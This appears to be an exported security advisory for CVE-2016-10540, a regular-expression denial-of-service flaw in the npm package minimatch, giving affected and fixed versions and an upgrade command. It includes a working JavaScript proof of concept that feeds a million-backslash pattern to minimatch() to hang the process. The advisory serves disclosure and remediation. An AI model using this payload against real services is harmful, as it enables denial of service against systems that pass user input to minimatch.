minimatch
Affected
- introduced
0, fixed3.0.2(semver)
Fixed versions
3.0.2
Fix
- Fixed version
3.0.2npm install [email protected]
Advisory
Also known as: CVE-2016-10540
Regular Expression Denial of Service in minimatch
Affected versions of minimatch are vulnerable to regular expression denial of service attacks when user input is passed into the pattern argument of minimatch(path, pattern).
Proof of Concept
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
Recommendation
Update to version 3.0.2 or later.
High Basis: The source's own band: HIGH
0, fixed 3.0.2 (semver)3.0.2
3.0.2npm install [email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0